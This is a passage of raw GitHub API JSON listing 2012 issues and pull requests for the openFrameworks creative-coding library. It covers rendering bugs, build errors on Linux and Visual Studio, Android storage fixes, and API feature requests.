Release","due_on":"2012-08-27T07:00:00Z","open_issues":1,"created_at":"2012-02-25T00:41:17Z","state":"open","description":"","id":88728},"number":969,"html_url":"https://github.com/openframeworks/openFrameworks/issues/969","assignee":null,"title":"0074 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T01:36:37Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3381977,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-24T04:31:01Z","body":"right now if you try and scale/rotate/etc before calling ofBackgroundGradient, it will fail.\r\n\r\npeople generally call ofBackground at the top of draw() so it shouldn't be a huge issue... but it does make it a little 'fragile'.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/955","comments":0,"milestone":null,"number":955,"html_url":"https://github.com/openframeworks/openFrameworks/issues/955","assignee":null,"title":"ofBackgroundGradient needs to be billboarded","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-02-24T04:31:01Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3367910,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T19:12:08Z","body":"Hello, I get a weird error trying to compile the movieplayerexample under linux64 :\r\n\r\n> `.text._ZN11ofBaseVideoD2Ev' referenced in section `.text._ZN11ofBaseVideoD1Ev[non-virtual thunk to ofBaseVideo::~ofBaseVideo()]' of ../../../libs/openFrameworksCompiled/lib/linux64/libopenFrameworks.a(ofBaseTypes.o): defined in discarded section `.text._ZN11ofBaseVideoD2Ev[_ZN11ofBaseVideoD5Ev]' of ../../../libs/openFrameworksCompiled/lib/linux64/libopenFrameworks.a(ofBaseTypes.o)\r\n\r\nMy version of OF is 007, it used to work under 0062...\r\n\r\nWhat should I do ?\r\n\r\nThanks","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/933","comments":4,"milestone":null,"number":933,"html_url":"https://github.com/openframeworks/openFrameworks/issues/933","assignee":null,"title":"Problem with moviePlayerExample under linux64","labels":[],"closed_at":null,"created_at":"2012-02-23T15:46:06Z","state":"open","user":{"url":"https://api.github.com/users/agrosjea","avatar_url":"https://secure.gravatar.com/avatar/e52c167621119d58d03c586bb053a633?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e52c167621119d58d03c586bb053a633","login":"agrosjea","id":1466085},"id":3357855,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T05:13:24Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/931","comments":0,"milestone":null,"number":931,"html_url":"https://github.com/openframeworks/openFrameworks/issues/931","assignee":null,"title":"ofCamera is not aware of ofOrientation","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-02-23T05:13:24Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":3351646,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T05:12:47Z","body":"do we need the ofOrientation parameter in ofSetupPerspective?\r\n\r\nit applies the rotation but if ofSetOrientation hasn't been called before passing the same orientation the results are not the expected.\r\n\r\nto test it:\r\n\r\nofSetOrientation(OF_ORIENTATION_90_LEFT);\r\nofSetPerspective(ofGetWidth(), ofGetHeight(),OF_ORIENTATION_90_LEFT)\r\n\r\nworks as expected but calling only \r\n\r\nofSetPerspective(ofGetWidth(), ofGetHeight(),OF_ORIENTATION_90_LEFT)\r\n\r\napplies a weird rotation cause the values of ofGetWidth(), ofGetHeight() are still the default ones\r\n\r\nis there any case where it's useful to call setupPerspective with a different orientation that the window has?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/930","comments":0,"milestone":null,"number":930,"html_url":"https://github.com/openframeworks/openFrameworks/issues/930","assignee":null,"title":"ofSetupPerspective ofOrientation","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-23T05:12:47Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":3351643,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T04:19:48Z","body":"Currently ofGetLogLevel returns the global log level aka for the \"OF\" module. It would be nice to be able to get the log level for user modules via:\r\n\r\n ofLogLevel level = ofGetLogLevel(\"myLogModule\");\r\n\r\nIt would as simple as adding the module as a string variable with a default of \"OF\".\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/929","comments":0,"milestone":null,"number":929,"html_url":"https://github.com/openframeworks/openFrameworks/issues/929","assignee":null,"title":"ofGetLogLevel should also accept modules","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-23T04:19:48Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3351374,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T03:46:32Z","body":"Currently there is a ofBgColorPtr(), but maybe it's nice to have a ofGetBackground() that returns an ofColor object or a reference to one.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/928","comments":0,"milestone":null,"number":928,"html_url":"https://github.com/openframeworks/openFrameworks/issues/928","assignee":null,"title":"no ofGetBackground()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-23T03:46:32Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3351170,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-22T19:12:56Z","body":"ofGetViewportWidth/Height returns 0 is called in an object destructor, while ofGetWidth/Height do not. Could the ofGetViewport size be set to the ofGetWidth/Height size instead of 0 be default?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/926","comments":0,"milestone":null,"number":926,"html_url":"https://github.com/openframeworks/openFrameworks/issues/926","assignee":null,"title":"ofGetViewportWidth/Height returns 0 at startup","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-22T19:12:56Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3341020,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-22T00:28:08Z","body":"I noticed a few things when working with ofImage:\r\n\r\n* ofImage has a type variable for the image type but this is an int, as opposed to the ofImageType enum, so it's annoying to force convert ...\r\n* the width, height, & bpp variables are public, they should be protected with getters/setters\r\n* there isn't a getBytesPerPixel, you have to get the pixel reference then call getBytesPerPixel ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/925","comments":0,"milestone":null,"number":925,"html_url":"https://github.com/openframeworks/openFrameworks/issues/925","assignee":null,"title":"ofImage has type as int, public vars, & missing getBPP, etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-22T00:28:08Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3324501,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T14:41:17Z","body":"As requested in https://github.com/openframeworks/openFrameworks/pull/794 I've branched openframeworks:develop into my own branch and applied the fixes required to build openFrameworks for Android with MinGW on the windows platform.\r\n\r\nThe instructions on how to compile are still valid (except for the part of patching):\r\nhttp://www.multigesture.net/articles/how-to-setup-openframeworks-for-android-on-windows/\r\n\r\nNote 1: You will need to run:\r\nandroid.bat update project --target android-8 --path C:\\openFrameworks\\addons\\ofxAndroid\\ofAndroidLib\r\n\r\nThis updates the project files for ofAndroidLib project. I didn't included those because those are user specific (they contain the path to the sdk)\r\n\r\nNote 2: d3ddf8e1 \r\nI only added this commit in order to make the examples build properly. Someone still needs to fix the proper implementation.\r\n\r\nNote 3: 7a9cf0ba\r\nWhile working on NodeBeat, we found out that not all devices are using /mnt/sdcard as their external storage location. In some cases the sdcard is located somewhere else (\"Environment.getExternalStorageDirectory()\" doesnt always return the correct location). This commit fixes this problem by checking several locations as reported on multiple Stackoverflow threads. More info about this issue can be found in the commit description.\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/922","comments":13,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":922,"html_url":"https://github.com/openframeworks/openFrameworks/issues/922","assignee":null,"title":"Windows compatibility patches and External storage location fixes.","labels":[],"closed_at":null,"created_at":"2012-02-19T23:30:24Z","state":"open","user":{"url":"https://api.github.com/users/falcon4ever","avatar_url":"https://secure.gravatar.com/avatar/4a503abeaa3d803e55e99093fbf1505d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"4a503abeaa3d803e55e99093fbf1505d","login":"falcon4ever","id":480019},"id":3288053,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/922.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/922","patch_url":"https://github.com/openframeworks/openFrameworks/pull/922.patch"}},{"updated_at":"2012-02-16T09:39:46Z","body":"What about having our own transform stack , in order to:\r\n-avoid to recompute globalTransformMatrix in each ofNode\r\n-could use it when rendering with OpenGL ES 2.0 shaders , which do not support predefined matrix values as world (modelview), worldProjection , or world inverseTranspose (for normals)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/920","comments":0,"milestone":null,"number":920,"html_url":"https://github.com/openframeworks/openFrameworks/issues/920","assignee":null,"title":"Transform stack","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-16T09:39:46Z","state":"open","user":{"url":"https://api.github.com/users/AugusteBonnin","avatar_url":"https://secure.gravatar.com/avatar/cbf7aa7c655d3652170984c9aa497a4c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cbf7aa7c655d3652170984c9aa497a4c","login":"AugusteBonnin","id":1442658},"id":3248309,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-16T09:31:24Z","body":"There is an easy-to-correct error in ofNode::transformGL:\r\nIt should call loadMatrix with globalTransformMatrix as parameter (with a void restoreGL), or pushMatrix then multMatrix with localTransformMatrix (with a restoreGL that pops the previously pushed matrix),\r\nNOT push then mult with global. The bug appears as soon as you have got more than one level of depth in your node tree. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/919","comments":0,"milestone":null,"number":919,"html_url":"https://github.com/openframeworks/openFrameworks/issues/919","assignee":null,"title":"Error in ofNode::transformGL","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-16T09:31:24Z","state":"open","user":{"url":"https://api.github.com/users/AugusteBonnin","avatar_url":"https://secure.gravatar.com/avatar/cbf7aa7c655d3652170984c9aa497a4c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cbf7aa7c655d3652170984c9aa497a4c","login":"AugusteBonnin","id":1442658},"id":3248230,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-08T10:15:31Z","body":"vs2010 does not include stdint.h support:\r\n\r\nhttp://stackoverflow.com/questions/126279/c99-stdint-h-header-and-ms-visual-studio\r\n\r\nwhich causes addon bugs like this:\r\n\r\nhttps://github.com/openframeworks/openFrameworks/issues/559\r\nhttps://github.com/kylemcdonald/ofxCv/issues/28\r\n\r\neven though these bugs aren't in the core, i think OF is designed to make it easy for people to write cross-platform, cross-compiler code. so i propose that we add an explicit declaration of the missing types for vs2010.\r\n\r\nthis isn't really something i'm worried about directly since i don't use vs2010, but i know people like elliot do. and it would be cleaner to add it once to the core than to add it once for every addon that is broken.\r\n\r\nthe solution would probably look like: take dan's code from the above issue, and move it from ofxOsc into the core.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/917","comments":5,"milestone":null,"number":917,"html_url":"https://github.com/openframeworks/openFrameworks/issues/917","assignee":null,"title":"add global stdint.h support?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"}],"closed_at":null,"created_at":"2012-02-15T02:38:17Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3229504,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T14:55:20Z","body":"to match ofGetWidth(), ofGetHeight()\r\n\r\ni.e. for ofGetMouseX() / ofGetWidth()","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/916","comments":1,"milestone":null,"number":916,"html_url":"https://github.com/openframeworks/openFrameworks/issues/916","assignee":null,"title":"ofGetMouseX() and ofGetMouseY() should return float","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-14T05:17:47Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3214174,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-13T08:16:08Z","body":"I had downloaded the 007 version, when I run of_preRelease_v007_linux/scripts/linux/debian/install_codeblocks.sh it install codeblocks without error, but when I run preRelease_v007_linux/scripts/linux/debian/install_dependencies.sh I get this error\r\n\r\ncompiling object for ../../../openFrameworks/graphics/ofGraphics.cpp\r\nmkdir -p obj/Debug/openFrameworks/graphics\r\ng++ -g3 -Wall -fexceptions -I../../../FreeImage/include -I../../../assimp/include -I../../../assimp/include/Compiler -I../../../cairo/include -I../../../cairo/include/cairo -I../../../cairo/include/pixman-1 -I../../../cairo/include/libpng15 -I../../../fmodex/include -I../../../freetype/include -I../../../freetype/include/freetype2 -I../../../freetype/include/freetype2/freetype -I../../../freetype/include/freetype2/freetype/config -I../../../freetype/include/freetype2/freetype/internal -I../../../freetype/include/freetype2/freetype/internal/services -I../../../glew/include -I../../../glew/include/GL -I../../../kiss/include -I../../../portaudio/include -I../../../rtAudio/include -I../../../tess2/include -I../../../poco/include -I../../../glu/include -I../../../openFrameworks/ -I../../../openFrameworks/3d -I../../../openFrameworks/math -I../../../openFrameworks/types -I../../../openFrameworks/graphics -I../../../openFrameworks/utils -I../../../openFrameworks/app -I../../../openFrameworks/video -I../../../openFrameworks/events -I../../../openFrameworks/communication -I../../../openFrameworks/gl -I../../../openFrameworks/sound -pthread -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/include -I/usr/include/atk-1.0 -I/usr/include/cairo -I/usr/include/pango-1.0 -I/usr/include/gio-unix-2.0/ -I/usr/include/pixman-1 -I/usr/include/freetype2 -I/usr/include/libpng12 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -DOF_USING_GTK -MMD -MP -MFobj/Debug/openFrameworks/graphics/ofGraphics.d -MTobj/Debug/openFrameworks/graphics/ofGraphics.d -o obj/Debug/openFrameworks/graphics/ofGraphics.o -c ../../../openFrameworks/graphics/ofGraphics.cpp\r\n../../../openFrameworks/graphics/ofGraphics.cpp:37:22: warning: GL/glut.h: No such file or directory\r\n../../../openFrameworks/graphics/ofGraphics.cpp: In function ‘void ofSphere(float)’:\r\n../../../openFrameworks/graphics/ofGraphics.cpp:889: error: ‘glutSolidSphere’ was not declared in this scope\r\n../../../openFrameworks/graphics/ofGraphics.cpp:891: error: ‘glutWireSphere’ was not declared in this scope\r\nmake: *** [obj/Debug/openFrameworks/graphics/ofGraphics.o] Error 1\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/915","comments":2,"milestone":null,"number":915,"html_url":"https://github.com/openframeworks/openFrameworks/issues/915","assignee":null,"title":"problems installing dependencies in debian 6.0.4","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2012-02-13T05:45:01Z","state":"open","user":{"url":"https://api.github.com/users/atomsfat","avatar_url":"https://secure.gravatar.com/avatar/f732e5a8b77f8e4ed8fadc2c71916236?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"f732e5a8b77f8e4ed8fadc2c71916236","login":"atomsfat","id":140008},"id":3196145,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-12T04:41:26Z","body":"We have ofSetDataPathRoot() .... it makes sense to have a Getter as well. Basically I wanted the absolute path to the root data folder.\r\n\r\nI managed to fake this by calling ofToDataPath(\".\",true) but this seems a little counter-intuitive.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/914","comments":0,"milestone":null,"number":914,"html_url":"https://github.com/openframeworks/openFrameworks/issues/914","assignee":null,"title":"Add ofGetDataPathRoot","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-12T04:41:26Z","state":"open","user":{"url":"https://api.github.com/users/pierrep","avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","login":"pierrep","id":392160},"id":3189189,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T14:56:56Z","body":"it would be amazing if ofBeginShape()/ofEndShape() and ofPath supported tex coords (maybe ofTexCoord() and addTexCoord()).\r\n\r\nthis would allow for drawing arbitrary subsections of an image, or for creating an ofMesh that is texture mapped by an image.\r\n\r\nprocessing handles this with extra arguments to vertex() http://processing.org/reference/texture_.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/909","comments":3,"milestone":null,"number":909,"html_url":"https://github.com/openframeworks/openFrameworks/issues/909","assignee":null,"title":"shapes with texCoords","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-10T01:42:42Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3166745,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-09T08:16:47Z","body":"a student just showed me how you can use the xcode templates for pocode to create a new project wherever you want on the disk. i know we used to have xcode templates for this, but i just tried them and it seems to be hilariously broken.\r\n\r\ni'm not sure if the new project creator stuff covers this idea or not, but it would be great to have a similar ability with OF somehow.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/902","comments":2,"milestone":null,"number":902,"html_url":"https://github.com/openframeworks/openFrameworks/issues/902","assignee":null,"title":"Xcode templates should be fixed or removed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-09T04:30:13Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3152323,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-08T21:50:23Z","body":"to draw a filled ofPolyline right now, you need to use beginshape/endshape. but i think a way of adding ofPolylines to an ofPath would be really good -- even a conversion from ofPolyline to ofPath might make sense. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/901","comments":0,"milestone":null,"number":901,"html_url":"https://github.com/openframeworks/openFrameworks/issues/901","assignee":null,"title":"easier filled ofPolyline, or easy ofPolyline->ofPath conversion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-08T21:50:23Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3148441,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-09T14:46:48Z","body":"Hi.\r\n\r\nI've been trying to load stream video ( mpeg2 .ts and hls .m3u8 ) using OF on MacOS 10.7.2.\r\n\r\nBoth cases causes error -2048 in the line below: ( l:89, ofQuickTimePlayer.cpp )\r\n\r\n```c++\r\nerr = NewMovieFromDataRef(&movie, newMovieAsyncOK,nil, urlDataRef, URLDataHandlerSubType);\r\n```\r\n\r\nLoading remote .mp4 works perect. Loading same streams in QuickTime player(v10.1) works without any troubles.\r\n\r\nSo, it seems the trouble happens just when no videofile size info returned from server.\r\n\r\nIs it a bug? Or I've missed smthng?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/897","comments":4,"milestone":null,"number":897,"html_url":"https://github.com/openframeworks/openFrameworks/issues/897","assignee":null,"title":"ofQuickTimePlayer.createMovieFromURL fails on streaming video","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-06T11:42:08Z","state":"open","user":{"url":"https://api.github.com/users/4pcbr","avatar_url":"https://secure.gravatar.com/avatar/52e8e29748826594f27b5c6c20a353e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"52e8e29748826594f27b5c6c20a353e0","login":"4pcbr","id":247109},"id":3106705,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-05T17:11:59Z","body":"This concerns libraries included in addons in source form. According to [this issue](https://github.com/chrisoshea/ofxMidi/issues/8) reported by @danomatika, the makefile can only compile libraries' source code if they are in an addon's `/src` folder. This is in contradiction with @obviousjim's guide to addons' folder structure at http://ofxaddons.com/howto.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/896","comments":6,"milestone":null,"number":896,"html_url":"https://github.com/openframeworks/openFrameworks/issues/896","assignee":null,"title":"Makefile and ofxaddons.com guide don't agree regarding file structure","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2012-02-05T15:20:42Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3099567,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-10T02:47:13Z","body":"it needs to handle all these things:\r\n\r\n- meshes vs point clouds\r\n- different types of meshes (depending on the 